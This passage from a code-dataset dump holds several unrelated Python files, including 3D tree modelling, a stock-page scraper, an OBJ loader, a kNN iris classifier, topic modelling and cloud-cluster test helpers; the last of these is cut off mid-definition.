axis\")\n\n\n\n\t## Make a turn by a given angle onto plane:\n\t# - xz (rotation about y axis)\n\t# - yz (rotation about x axis)\n\t# - xy (rotation about z axis)\n\t#\n\t# according to what has been set in #setAxis.\n\t#\n\t# Add a new object (cylinder plus sphere) to the model and update the current position.\n\t#\n\t# @param ang deviation from the previous direction.\n\t#\n\tdef turn(self,ang):\n\t\tself.curAng += ang\n\t\tif self.dir == 'Z':\n\t\t\tself.nodes.append(\n\t\t\t\t\t\t\t (translate(self.curPoint.tolist()[:-1]))\t# remove fourth coordinate\n\t\t\t\t\t\t\t (rotate(a = [-90, 0, self.curAng]) \t\t# rotation order: x, y and z\n\t\t\t\t\t\t\t #(sphere(self.r))\n\t\t\t\t\t\t\t (cylinder(self.r, self.h))))\n\t\telse:\n\t\t\tself.nodes.append(\n\t\t\t\t\t\t\t (translate(self.curPoint.tolist()[:-1]))\t# remove fourth coordinate\n\t\t\t\t\t\t\t (rotate(a = self.curAng, v = self.axis)\t\t# entering the screen\n\t\t\t\t\t\t\t #(sphere(self.r))\n\t\t\t\t\t\t\t (cylinder(self.r, self.h))))\n\t\t\n\t\tif True:\n\t\t\tif self.dir == 'Z': ang = -ang\n\t\t\tself.curVector = self.rotFunc(self.curVector, ang )\n\t\telse:\n\t\t\tif not self.dir == 'Z': ang = -ang\n\t\t\tmat = matrix.rotate(ang, self.axis[0], self.axis[1], self.axis[2])\n\t\t\tmat = mat.tolist()\n\t\t\tself.curVector = np.dot (self.curVector, mat)\n\t\t\t# update current position\n\t\tself.curPoint = np.add(self.curPoint, self.curVector)\n\n\t#print(\"curPoint = %s\" % self.curPoint)\n\t#print(\"curVector = %s\" % self.curVector)\n\t#print(\"curAng = %f\\n\" % self.curAng)\n\n\t## Return the nodes created so far.\n\t# @return a union with the node list.\n\t#\n\tdef getNodes(self):\n\t\treturn union()(self.nodes)\n\n\n## Silly test that draws a bunch of cylinders.\ndef test(d):\n\tt = turtle(h=d)\n\t\n\tt.turn(0)\n\tt.turn(30)\n\tt.turn(0)\n\t\n\tt.setAxis('X')\n\t\n\tt.turn(30)\n\tt.turn(30)\n\t\n\tt.setAxis('Y')\n\t\n\tt.turn(-90)\n\tt.turn(-90)\n\tt.turn(90)\n\tt.turn(0)\n\tt.turn(90)\n\t\n\treturn t.getNodes()\n\n## Interpret a given sentence and draw the result.\n#\n# - F move forward a step of length d\n# - f Move forward a step of length d without drawing a line\n# - + Turn left by angle a\n# - - Turn right by angle a\n# - & Pitch down by angle a\n# - ^ Pitch up by angle a\n# - \\ Roll left by angle a\n# - / Roll right by angle a\n# - | Turn arund (180 deg)\n# - [ Push current drawing to stack\n# - ] Pop current drawing from stack\n# @param lSentence - the L-System string returned by buildLSystem\n# @param angle - angle of rotation\n# @param d - length d\ndef draw(lSentence, angle, d):\n\tcharacters = list(lSentence)\n\tstack = []\n\ta = 0\n\tt = turtle(h=d)\n\t\n\tfor c in characters:\n\t\tif (c == 'F'):\n\t\t\tt.turn(a)\n\t\t\ta = 0\n\t\t#elif (c == 'f'):\n\t\telif (c == '+'):\n\t\t\ta = angle\n\t\t\tt.setAxis('Z')\n\t\telif (c == '-'):\n\t\t\ta = -angle\n\t\t\tt.setAxis('Z')\n\t\telif (c == '&'):\n\t\t\ta = angle\n\t\t\tt.setAxis('Y')\n\t\telif (c == '^'):\n\t\t\ta = -angle\n\t\t\tt.setAxis('Y')\n\t\telif (c == \"\\\\\"):\n\t\t\ta = angle\n\t\t\tt.setAxis('X')\n\t\telif (c == '/'):\n\t\t\ta = -angle\n\t\t\tt.setAxis('X')\n\t\telif (c == '|'):\n\t\t\ta = 180\n\t\t\tt.setAxis('X')\n\t\telif (c == '['):\n\t\t\ttup = (t.curPoint, t.curVector, t.curAng)\n\t\t\tstack.append(tup)\n\t\telif (c == ']'):\n\t\t\tval = stack.pop()\n\t\t\tt.curPoint = val[0]\n\t\t\tt.curVector = val[1]\n\t\t\tt.curAng = val[2]\n\t\telse:\n\t\t\tcontinue\n\n\treturn t.getNodes()\n\n\n## Generate and draw the fractal resulting from the following parameters\n# @param n - recursion height\n# @param sentence - initial sentence - base for the rule applications\n# @param a - angle\n# @param d - step distance\n# @param rules - a dictionary containing an axiom:rule key:value pair, they're both expected to be strings\ndef lSystem(n, sentence, a, d, rules):\n\tlSentence = buildLSystem(n, sentence, rules)\n\treturn draw(lSentence, a, d)\n\n# # ------//-------- L-Systems ----------------------///------------------------------------\n\n# ---------------- Recursive Definition ----------------------------------------------------\n\n## The tree is represented completely by cylinders\n#
\n#           add Stem and Leaf,                                                      if n <= 0\n#         /\n# Tree (n)\n#         \\ translate([0, 0, (position of branch in relation to its parent)])       if n > 0\n#           (scale(scaleFactor)(rotate(a = [xRot, 0, (angle of rot - around parent's circumference)])\n#           (genTree(numIter - 1, scaleFactor, xRot))))\n#\n#           ~xRot and scaleFactor are randomely selected values~\n#\n# 
\n# @see https://github.com/yosinski/OpenSCAD-playground/blob/master/tree.py\n\ndef rn(aa, bb):\n\t'''A Normal random variable generator that takes a range, like\n\t\trandom.uniform, instead of mean and standard deviation.'''\n\t\n\treturn np.random.normal((bb+aa)/2., (bb-aa)/4.)\n\nru = np.random.uniform\n\nri = np.random.randint\n\n## Create a stem and leaf\ndef stemAndLeaf():\n\t# Radius and height of the stem\n\tstemR = rn(.9, 1.1)\n\tstemH = rn(8, 12)\n\t\n\t# Radius and height of the leaf\n\tleafR = rn(4, 6)\n\tleafH = rn(.8, 1.2)\n\t\n\t# The stem will be represented by a cylynder with radius = stemR and height = stemH\n\t# Note that a small number of fragments are used to model the cylinder\n\tcylStem = cylinder(r = stemR, h = stemH)\n\tcylStem.add_param('$fn', ri(4, 8))\n\t\n\t# The leaf will be represented by a cylynder with radius = leafR and height = leafH\n\t# Note that the leaf height is very short, and only a small number of fragments\n\t# are used to model the cylinder - giving the leaves their \"pentagon\" shape\n\tcylLeaf = cylinder(r = leafR, h = leafH)\n\tcylLeaf.add_param('$fn', ri(4, 8))\n\t\n\t# Perform a union on the stem and leaf cylinders\n\t# Make sure the stems are halfway through the leaves\n\treturn union()(\n\t\t\t\t cylStem,\n\t\t\t\t translate([0, 0, stemH - (leafH)/2.])(cylLeaf),\n\t\t\t\t )\n\n\n## Recursive method to generate more branches in the tree\n# @param numIter - number of iterations\n# @param scaleFactor - branch scale factor\n# @param xRot - x-axis angle of rotation\ndef addBranches(numIter = 3, scaleFactor = 0.7, xRot = 15):\n\t# Calculate the number of new branches to be atteched to the last generated branch\n\tnumBranches = ri(3, 5)\n\t\t\n\t# Radius and height of the stem\n\tstemR = rn(.9, 1.1)\n\tstemH = rn(8, 12)\n\t\n\t# Branch scaling factor\n\tscaleFactor = rn(.6, .8)\n\t\n\t# Append the 'base' stem to the nodes list\n\tnodes = []\n\tnodes.append(cylinder(r = stemR, h = stemH))\n\t\n\t# For each of the children branches, calculate a random position\n\tbranchPos = [ru(.4, 1) for i in range(numBranches)]\n\tmaxBP = max(branchPos)\n\t\n\t# Transform each branch position to be the ratio of the\n\t# current branch position : the position of the farthest branch\n\tbranchPos = [branchPos[i] / maxBP for i in range(numBranches)]\n\tfor i in range(numBranches):\n\t\t# Generate a random x-axis rotation\n\t\txRot = rn(35, 55)\n\t\t# Prevent branches from being placed too close together\n\t\tzRot = i * (360./numBranches)\n\t\t# Position in relation to parent\n\t\tposIRP = branchPos[i] * stemH * .9\n\t\t\n\t\t# Append the newly created branch (with its designated position and scale) to the nodes list\n\t\tnodes.append(\n\t\t\t\t\t translate([0, 0, posIRP])\n\t\t\t\t\t (scale(scaleFactor)\n\t\t\t\t\t (rotate(a = [xRot, 0, zRot])\n\t\t\t\t\t (genTree(numIter - 1, scaleFactor, xRot))))\n\t\t\t\t\t )\n\t# Perform a union on all branches in the node list\n\treturn union()(nodes)\n\ndef genTree(numIter = 3, scaleFactor = .7, xRot = 15):\n\t# attach a leaf and stem to the end of the branch\n\tif numIter <= 0:\n\t\treturn stemAndLeaf()\n\telse:\n\t\treturn addBranches(numIter, scaleFactor, xRot)\n\n# -------//------- Recursive Definition -----------------------///-------------------------\n\n\n## Given a union of nodes, return the union of the tree with a base\n# @param tree - a union of nodes that composes the tree\ndef treeWithBase(tree):\n\tbase = cylinder(r = 6, h = .75)\n\tbase.add_param('$fn', 40)\n\t\n\ttrunk1 = cylinder(r1 = 3.5, r2 = 0, h = 2)\n\ttrunk1.add_param('$fn', 5)\n\t\n\ttrunk2 = cylinder(r1 = 2, r2 = 0, h = 4)\n\ttrunk2.add_param('$fn', 5)\n\t\n\treturn union()(\n\t\t\t\t base,\n\t\t\t\t trunk1,\n\t\t\t\t trunk2,\n\t\t\t\t tree,\n\t\t\t\t )\n\nif __name__ == '__main__':\n\t\n\t#recTree = treeWithBase(genTree(5))\n\t\n\tlSysO = fractalPlant2()\n\tlTree = lSystem(lSysO.iterations, lSysO.sentence, lSysO.angle, 4, lSysO.rules)\n\t\n\tscad_render_to_file(lTree, file_header='$fn = %s;' % SEGMENTS, include_orig_code=True)\n\n","sub_path":"tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":13725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"339754851","text":"import csv as csv\r\nfrom csv import DictReader\r\nimport re\r\nimport pandas as pd\r\nfrom bs4 import BeautifulSoup\r\nimport urllib.request as urllib2\r\n\r\n# read the table, without header\r\nyahoo = csv.reader(open('software_final.csv'))\r\ncompany_ticket_list=[]\r\ncompany_list=[]\r\nsector_list=[]\r\nindustry_list=[]\r\ncountry_list=[]\r\nsummary_list=[]\r\n\r\nheader = next(yahoo)\r\nfor row in yahoo:\r\n company_ticket = row[1]\r\n if company_ticket != '':\r\n company_ticket_list.append(company_ticket)\r\n company = row[0]\r\n company_list.append(company)\r\n sector = row[3]\r\n sector_list.append(sector) \r\n industry = row[4]\r\n industry_list.append(industry)\r\n country = row[5]\r\n country_list.append(country) \r\n summary = row[6]\r\n summary_list.append(summary)\r\n\r\n\r\n# get url list\r\nurl_preifx = \"http://finance.yahoo.com/q?s=\"\r\nacturalurl=[]\r\nfor i in company_ticket_list:\r\n actural = url_preifx + i\r\n acturalurl.append(actural)\r\n\r\nmarketcap_list = []\r\nfor i in range(len(company_ticket_list)):\r\n req = urllib2.Request(acturalurl[i])\r\n response = urllib2.urlopen(req)\r\n html = response.read()\r\n soup = BeautifulSoup(html)\r\n try: \r\n marketcap = soup.find(text='Market Cap:').next.find(text=True)\r\n except:\r\n marketcap = ' '\r\n marketcap_list.append(marketcap)\r\n print (len(marketcap_list))\r\n\r\ncompany_result = []\r\nfor i in range(len(company_ticket_list)):\r\n tmp = []\r\n tmp.append(company_list[i])\r\n tmp.append(company_ticket_list[i])\r\n tmp.append(marketcap_list[i])\r\n tmp.append(sector_list[i])\r\n tmp.append(industry_list[i])\r\n tmp.append(country_list[i])\r\n tmp.append(summary_list[i]) \r\n company_result.append(list(tmp))\r\n\r\nwith open('software_final.csv2.csv', 'w') as csvfile:\r\n writer = csv.writer(csvfile, delimiter=',')\r\n writer.writerow([\"Compnay\"] + [\"Ticket\"] + [\"MarketCap\"] + [\"Sector\"] + [\"Industry\"] + [\"Country\"] + [\"Summary\"])\r\n for row in company_result:\r\n writer.writerow(row)\r\n\r\n \r\n\r\n\r\n","sub_path":"number.py","file_name":"number.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"306919668","text":"import logging\nfrom typing import List, Tuple\nfrom OpenGL.GL import *\n\n\nclass ObjectLoader(object):\n def __init__(self, file_location: str = None):\n self.logger = logging.getLogger(__name__)\n self.logger.debug(\"Creating object loader\")\n self.vertex_data = []\n self.vertex_indices = []\n self.final_indices = []\n if file_location is not None:\n self.load(file_location)\n\n def get_data(self) -> Tuple[List[float], List[int], List[int]]:\n self.logger.debug(\"Converting vertex data\")\n out_vertex_data = []\n out_indices = []\n current_index = 0\n memo = {}\n for index in self.vertex_indices:\n if index != -1:\n if self.vertex_data[index] in memo:\n out_indices.append(memo[self.vertex_data[index]])\n else:\n out_vertex_data.extend(self.vertex_data[index])\n out_indices.append(current_index)\n memo[self.vertex_data[index]] = current_index\n current_index += len(self.vertex_data[index])\n else:\n out_indices.append(-1)\n return out_vertex_data, out_indices, self.final_indices\n\n def get_shader_data(self):\n return {\"number_of_models\": len(self.final_indices)}\n\n def load(self, file_location: str):\n self.logger.debug(\"Loading obj file: {}\".format(file_location))\n memo = {}\n vertices: List = []\n uvs: List = []\n normals: List = []\n current_vertex_index = len(self.vertex_data)\n vertex_data_dispatch = {0: vertices, 1: uvs, 2: normals}\n with open(file_location) as f:\n for line in f:\n line_split = line.split()\n if not line_split:\n continue\n\n if line_split[0] == \"v\":\n vertices.append(tuple(map(float, line_split[1:])))\n elif line_split[0] == \"vt\":\n uvs.append(tuple(map(float, line_split[1:])))\n elif line_split[0] == \"vn\":\n normals.append(tuple(map(float, line_split[1:])))\n elif line_split[0] == \"f\":\n for vertex_group in line_split[1:]:\n vertex_group = vertex_group.split(\"/\")\n for i in range(3):\n if i < len(vertex_group) and vertex_group[i]:\n current_vertex = vertex_data_dispatch[i][int(vertex_group[i]) - 1]\n if current_vertex not in memo:\n self.vertex_data.append(current_vertex)\n self.vertex_indices.append(current_vertex_index)\n memo[current_vertex] = current_vertex_index\n current_vertex_index += 1\n else:\n self.vertex_indices.append(memo[current_vertex])\n else:\n self.vertex_indices.append(-1)\n self.final_indices.append(len(self.vertex_indices))","sub_path":"pytracer/modelloader.py","file_name":"modelloader.py","file_ext":"py","file_size_in_byte":3183,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"69"} +{"seq_id":"281628030","text":"import numpy as np\n\nfrom sklearn.datasets import load_iris # for the IRIS data set\nfrom numpy import random # for data shuffle\nfrom scipy import stats # for neighbor voting\n\n\nclass kNNIris:\n def __init__(self, k):\n \"\"\"\n Init the kNN classifier with user-specific hyperpara k\n \"\"\"\n self.k = k\n self.iris = None\n # self.iris_test_data = None\n # self.iris_test_target = None\n # self.iris_train_data = None\n # self.iris_train_target = None\n\n def load_data(self):\n \"\"\"\n Let's use the IRIS dataset via sklearn; shuffled, split into train/test sets with 2:1 ratio\n :return: the shuffled labelled dataset\n \"\"\"\n # load the data set\n iris = load_iris()\n\n # parallel shuffle the dataset WITH labels\n data = iris['data']\n target = iris['target']\n num_datapoint = data.shape[0]\n target = target.reshape(num_datapoint, 1)\n labeled_iris = np.hstack([data, target])\n random.shuffle(labeled_iris)\n\n self.iris = labeled_iris\n return self.iris\n\n def train_test_split(self, ratio=0.6):\n if ratio <= 0 or ratio >= 1:\n raise AssertionError\n\n # Train/Test split\n size = self.iris.shape[0]\n train_size = int(size * ratio)\n test_size = size - train_size\n iris_train = self.iris[:train_size]\n iris_test = self.iris[-test_size:]\n\n # Separate data and targets\n iris_train_data = iris_train[:, 0:4]\n iris_train_target = iris_train[:, 4]\n iris_test_data = iris_test[:, 0:4]\n iris_test_target = iris_test[:, 4]\n\n return iris_train_data, iris_train_target, iris_test_data, iris_test_target\n\n def distance(self, data, x):\n \"\"\"\n calculate the euclidean distance between an array of points towards a given point\n \"\"\"\n return np.sqrt(np.sum(np.sum((data - x) ** 2, axis=1)))\n\n def predict(self, x_train, t_train, x_query):\n \"\"\"\n Given a valid query point x, try to classify it.\n \"\"\"\n distances = self.distance(x_train, x_query)\n sorted_indices = np.argsort(distances)\n k_indices = sorted_indices[:self.k]\n k_modal, k_modal_count = stats.mode(t_train[k_indices])\n return k_modal\n\n def test(self, x_train, t_train, x_test, t_test, test_number=10):\n \"\"\"\n Use test_data to evaluate the performance of this classifer.\n \"\"\"\n rand_test_indices = random.randint(0, x_test.shape[0], test_number)\n count = 0\n for test_index in rand_test_indices:\n prediction = self.predict(x_train, t_train, x_test[test_index])\n actual = t_test[test_index]\n print('Predict: ', prediction[0], \" Actually: \", actual)\n\n if prediction == actual:\n count += 1\n\n print('Accuracy: ', count, \" out of \", test_number)\n\n return None\n\n\ndef main():\n my_iris = kNNIris(15)\n my_iris.load_data()\n x_train, t_train, x_test, t_test = my_iris.train_test_split()\n my_iris.test(x_train, t_train, x_test, t_test)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"kNN/kNN.py","file_name":"kNN.py","file_ext":"py","file_size_in_byte":3170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"372139922","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\nfrom __future__ import absolute_import\nfrom __future__ import print_function\n\nfrom setuptools import find_packages\nfrom setuptools import setup\nimport pathlib\n\ndef _read(path):\n with open(path) as f:\n return f.read()\n\nname = 'parmatter'\nproject_info = {}\nexec(_read(pathlib.Path()/'src'/name/'__version__.py'), project_info)\n\t\nsetup(\n name=project_info['__title__'],\n version=project_info['__version__'],\n description=project_info['__description__'],\n author=project_info['__author__'],\n author_email=project_info['__author_email__'],\n url=project_info['__url__'],\n license=project_info['__license__'],\n keywords = project_info['__keywords__'],\n\tpython_requires='>=3',\n \tpackage_dir={'':'src'},\n packages=find_packages(where='src', exclude=['*.tests', '*.tests.*', 'tests.*', 'tests']),\n scripts=['scripts/test_script.bat'],\n install_requires=['parse'],\n include_package_data=True,\n long_description='{:s}\\n\\n{:s}'.format(_read('README.rst'), _read('CHANGELOG.rst')),\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'Topic :: Utilities',\n 'License :: OSI Approved :: BSD License',\n 'Natural Language :: English',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 3 :: Only',\n 'Topic :: Text Processing',\n 'Topic :: Utilities', ],\n)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"121645075","text":"import sys\nimport coolfluid as cf\nimport os\n\n#Centerline velocity\nUc = 3.\n\nenv = cf.Core.environment()\nenv.log_level = 4\nenv.only_cpu0_writes = True\n\nroot = cf.Core.root()\ndomain = root.create_component('Domain', 'cf3.mesh.Domain')\nmesh = domain.create_component('OriginalMesh','cf3.mesh.Mesh')\n\nblocks = root.create_component('model', 'cf3.mesh.BlockMesh.BlockArrays')\npoints = blocks.create_points(dimensions = 2, nb_points = 4)\npoints[0] = [0., 0.]\npoints[1] = [1., 0.]\npoints[2] = [1., 1.]\npoints[3] = [0., 1.]\nblock_nodes = blocks.create_blocks(1)\nblock_nodes[0] = [0, 1, 2, 3]\nblock_subdivs = blocks.create_block_subdivisions()\nblock_subdivs[0] = [64,64]\ngradings = blocks.create_block_gradings()\ngradings[0] = [1., 1., 1., 1.]\nblocks.create_patch_nb_faces(name = 'bottom', nb_faces = 1)[0] = [0, 1]\nblocks.create_patch_nb_faces(name = 'right', nb_faces = 1)[0] = [1, 2]\nblocks.create_patch_nb_faces(name = 'top', nb_faces = 1)[0] = [2, 3]\nblocks.create_patch_nb_faces(name = 'left', nb_faces = 1)[0] = [3, 0]\n\nblocks.periodic_x = [\"left\", \"right\"]\nblocks.periodic_y = [\"bottom\", \"top\"]\n\nblocks.create_mesh(mesh.uri())\n\n# Create a field\nvelocity = mesh.geometry.create_field(name = 'velocity', variables='Velocity[vector]')\n\n# Set the X velocity to a parabolic profile\nfor i in range(len(velocity)):\n y = mesh.geometry.coordinates[i][1]\n velocity[i][0] = 4.*Uc*y*(1.-y)\n \n# Randomize\nrandomizer = domain.create_component('Randomizer', 'cf3.solver.actions.RandomizeField')\nrandomizer.field = velocity\nrandomizer.variable_name = 'Velocity'\nrandomizer.maximum_variations = [0.3, 0.3]\nrandomizer.maximum_values = [Uc, Uc/3.]\nrandomizer.minimum_values = [-Uc, -Uc/3.]\nrandomizer.options.seed = 1\nrandomizer.execute()\n\nwriter = domain.create_component('PVWriter', 'cf3.mesh.VTKXML.Writer')\nwriter.fields = [velocity.uri()]\nwriter.mesh = mesh\nwriter.file = cf.URI('randomize.pvtu')\nwriter.execute()\n","sub_path":"test/solver/actions/utest-solver-actions-randomize.py","file_name":"utest-solver-actions-randomize.py","file_ext":"py","file_size_in_byte":1905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"75806786","text":"\"\"\"\r\nUsing ldaseqmodel in gensim to establish DTM\r\n\"\"\"\r\n# setting up our imports\r\n\r\nfrom gensim.models import ldaseqmodel\r\nfrom gensim.corpora import Dictionary, bleicorpus\r\nimport numpy\r\nfrom gensim.matutils import hellinger\r\n\r\n# loading our corpus and dictionary\r\ntry:\r\n dictionary = Dictionary.load('D:\\\\Python-TopicModel\\\\gensim\\\\docs\\\\notebooks\\\\datasets\\\\news_dictionary')\r\n # 词典\r\nexcept FileNotFoundError as e:\r\n raise ValueError(\"SKIP: Please download the Corpus/news_dictionary dataset.\")\r\ncorpus = bleicorpus.BleiCorpus('D:\\\\Python-TopicModel\\\\gensim\\\\docs\\\\notebooks\\\\datasets\\\\news_corpus')\r\n# 词袋\r\n# it's very important that your corpus is saved in order of your time-slices!\r\n\r\ntime_slice = [438, 430, 456]\r\n\r\nldaseq = ldaseqmodel.LdaSeqModel(corpus=corpus, id2word=dictionary, time_slice=time_slice, num_topics=5)\r\n\r\nldaseq.print_topic_times(topic=0) # evolution of 1st topic\r\n\r\n# to check Document - Topic proportions, use `doc-topics`,检测某一篇文档在主题上的概率分布\r\nwords = [dictionary[word_id] for word_id, count in corpus[558]]\r\nprint (words)\r\ndoc = ldaseq.doc_topics(558) # check the 558th document in the corpuses topic distribution\r\nprint (doc)\r\n\r\n# 检查训练集以外的某个文档在已训练得到的主题上的分布\r\ndoc_football_1 = ['economy', 'bank', 'mobile', 'phone', 'markets', 'buy', 'football', 'united', 'giggs']\r\ndoc_football_1 = dictionary.doc2bow(doc_football_1)\r\ndoc_football_1 = ldaseq[doc_football_1]\r\nprint (doc_football_1)\r\n\r\n","sub_path":"topicAyc/dump_GensimDTM.py","file_name":"dump_GensimDTM.py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"371960175","text":"'''\n sampler.py\n\n Implement class for generating sample of sentences from the corpus\n to feed into the network. Uses 200 GloVe clusters.\n'''\n\nfrom utils import *\n\nclass Sampler():\n def __init__(self, n_words=[5,10], corpus='ptb',\n cluster_path='IARPA_200clusters.csv', strict_stop=False,\n sample_path='samples/sample_data.json'):\n self.n_words = n_words\n self.corpus = corpus\n self.cluster_path = cluster_path\n self.strict_stop = strict_stop\n self.sample_path = sample_path\n\n if corpus == 'ptb':\n self.corpus_path = '../data/ptb.zip'\n elif corpus == 'wiki':\n self.corpus_path = '../data/WestburyLab.Wikipedia.Corpus.txt.bz2'\n else:\n raise NameError('Only ptb and wiki are currently supported')\n\n self.make_cluster_dict()\n\n def make_cluster_dict(self):\n '''\n Returns dictionary where each key is a target word, and its value\n is a list of 20 related words.\n '''\n import pandas as pd\n df = pd.read_csv(self.cluster_path,\n usecols=['target word', '20 related words'])\n cluster_dict = df.set_index('target word').T.to_dict('records')[0]\n cluster_dict = {t : w.split(' ') for t,w in cluster_dict.items()}\n self.clusters = cluster_dict\n\n def read_corpus(self):\n '''\n Returns list of sentences, delimited by ,\n from self.corpus_path. The test.txt file is loaded by default.\n '''\n if self.corpus == 'ptb':\n delim = '\\n'\n fname = 'test.txt'\n data = read_from_archive(self.corpus_path,\n '{}/{}'.format(self.corpus, fname))\n sentences = data.split(delim)\n elif self.corpus == 'wiki':\n data = read_from_archive(self.corpus_path)\n sentences = texts_to_sentences(data)\n print(len(sentences))\n return sentences\n\n def pick_sentence(self, target, n, strict_stop):\n '''\n Returns a sentence (str) from self.corpus with length \n that contains one of the 20 words related to .\n '''\n # get list of 20 related words\n rel_words = self.clusters[target]\n\n # get sentence of specified length that contains one of the related words\n sentences_iter = iter([s for s in self.sentences_n[n]\n if any([w in self.tokens[s] for w in rel_words])])\n\n # if strict_stop, then raise StopIteraction if no sentence is found\n if strict_stop:\n try:\n sentence = next(sentences_iter)\n except StopIteration:\n err_str = 'No sentence found: n={}, target={}.'.format(n, target)\n raise NameError(err_str)\n # otherwise, return None\n else:\n sentence = next(sentences_iter, None)\n return sentence\n\n def get_sample(self):\n '''\n Returns nested dictionary where are the keys. The values are\n dictionaries keyed by lengths from , with sentences\n as values.\n '''\n print('Reading corpus at {}\\nThis may take a while...'.format(self.corpus_path))\n sentences = self.read_corpus()\n\n print('Tokenizing...')\n self.tokens = {\n s : word_tokenize(s) for s in sentences\n }\n\n print('Getting sentences of length {}...'.format(self.n_words))\n # get sentences of specified length (number of NLTK tokens)\n self.sentences_n = {\n n : sentences_of_length_n(n, self.tokens) for n in self.n_words\n }\n\n print('Generating sample...')\n sample = {\n t : {n : self.pick_sentence(t, n, self.strict_stop)\n for n in self.n_words}\n for t in self.clusters.keys()\n }\n return sample\n\n def write_sample(self, sample):\n '''\n Writes sample dictionary to .json file.\n '''\n data_dict = {\n 'corpus_path' : self.corpus_path,\n 'cluster_path' : self.cluster_path,\n 'sample': sample\n }\n write_to_json(data_dict, self.sample_path)\n print('Wrote sample to {}'.format(self.sample_path))\n","sub_path":"sample/sampler.py","file_name":"sampler.py","file_ext":"py","file_size_in_byte":4303,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"84"} +{"seq_id":"576128094","text":"# Copyright 2013 Hewlett-Packard Development Company, L.P.\n# All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n# not use this file except in compliance with the License. You may obtain\n# a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n# License for the specific language governing permissions and limitations\n# under the License.\n\"\"\"Cue functional test utilities.\"\"\"\nfrom oslo_utils import timeutils\nimport six\n\nfrom cue.api.controllers.v1 import cluster\nfrom cue.db.sqlalchemy import models\nfrom cue import objects\n\n\ndef get_test_cluster(**kw):\n return {\n 'id': kw.get('id', '1be26c0b-03f2-4d2e-ae87-c02d7f33c781'),\n 'project_id': kw.get('project_id', '1234567890'),\n 'name': kw.get('name', 'sample_cluster'),\n 'network_id': kw.get('network_id',\n '3dc26c0b-03f2-4d2e-ae87-c02d7f33c788'),\n 'status': kw.get('status', 'BUILDING'),\n 'flavor': kw.get('flavor', 'm1.tiny'),\n 'size': kw.get('size', 1),\n 'volume_size': kw.get('volume_size', 10),\n 'deleted': kw.get('deleted', False),\n 'created_at': kw.get('created_at', timeutils.utcnow()),\n 'updated_at': kw.get('updated_at', timeutils.utcnow()),\n 'deleted_at': kw.get('deleted_at', None),\n 'authentication': kw.get('authentication',\n {'type': 'PLAIN',\n 'token': {'username': 'rabbit_user',\n 'password': 'rabbit_password'}}),\n }\n\n\ndef create_api_test_cluster(**kw):\n \"\"\"Create test Cluster api object and return this object.\n\n Function to be used to acquire an API Cluster object set with only required\n fields. This would mimic a cluster object values received from REST API.\n\n :param kw: kwargs with overriding values for cluster's attributes.\n :returns: Test Cluster API object.\n \"\"\"\n\n test_cluster = get_test_cluster(**kw)\n\n if isinstance(test_cluster['network_id'], six.string_types):\n test_cluster['network_id'] = [test_cluster['network_id']]\n\n cluster_parameters = {\n 'name': test_cluster['name'],\n 'network_id': test_cluster['network_id'],\n 'flavor': test_cluster['flavor'],\n 'size': test_cluster['size'],\n 'volume_size': test_cluster['volume_size'],\n 'authentication': test_cluster['authentication'],\n }\n\n return cluster_parameters\n\n\ndef create_api_test_cluster_all(**kw):\n \"\"\"Create fully-populated test Cluster api object and return this object.\n\n Function to be used to acquire an API Cluster object with all fields set.\n\n :param kw: kwargs with overriding values for cluster's attributes.\n :returns: Test Cluster API object.\n \"\"\"\n\n test_cluster = get_test_cluster(**kw)\n\n if isinstance(test_cluster['network_id'], six.string_types):\n test_cluster['network_id'] = [test_cluster['network_id']]\n\n cluster_parameters = {\n 'name': test_cluster['name'],\n 'network_id': test_cluster['network_id'],\n 'flavor': test_cluster['flavor'],\n 'size': test_cluster['size'],\n 'volume_size': test_cluster['volume_size'],\n 'id': test_cluster['id'],\n 'project_id': test_cluster['project_id'],\n 'status': test_cluster['status'],\n 'created_at': test_cluster['created_at'],\n 'updated_at': test_cluster['updated_at'],\n }\n\n new_cluster = cluster.Cluster(**cluster_parameters)\n\n return new_cluster\n\n\ndef create_db_test_cluster_from_objects_api(context, **kw):\n \"\"\"Create test Cluster entry in DB from objects API and return Cluster\n\n DB object. Function to be used to create test Cluster objects in the\n database.\n\n :param kw: kwargs with overriding values for cluster's attributes.\n :returns: Test Cluster DB object.\n\n \"\"\"\n test_cluster = get_test_cluster(**kw)\n\n cluster_parameters = {\n 'name': test_cluster['name'],\n 'network_id': test_cluster['network_id'],\n 'flavor': test_cluster['flavor'],\n 'size': test_cluster['size'],\n 'volume_size': test_cluster['volume_size'],\n }\n\n new_cluster = objects.Cluster(**cluster_parameters)\n\n new_cluster.create(context)\n\n # add some endpoints to each node in cluster\n cluster_nodes = objects.Node.get_nodes_by_cluster_id(context,\n new_cluster.id)\n for i, node in enumerate(cluster_nodes):\n endpoint_value = {'node_id': node.id,\n 'uri': '10.0.0.' + str(i) + ':5672',\n 'type': 'AMQP'}\n endpoint = objects.Endpoint(**endpoint_value)\n endpoint.create(context)\n if i % 2:\n endpoint_value['uri'] = '10.0.' + str(i + 1) + '.0:5672'\n endpoint = objects.Endpoint(**endpoint_value)\n endpoint.create(context)\n\n return new_cluster\n\n\ndef 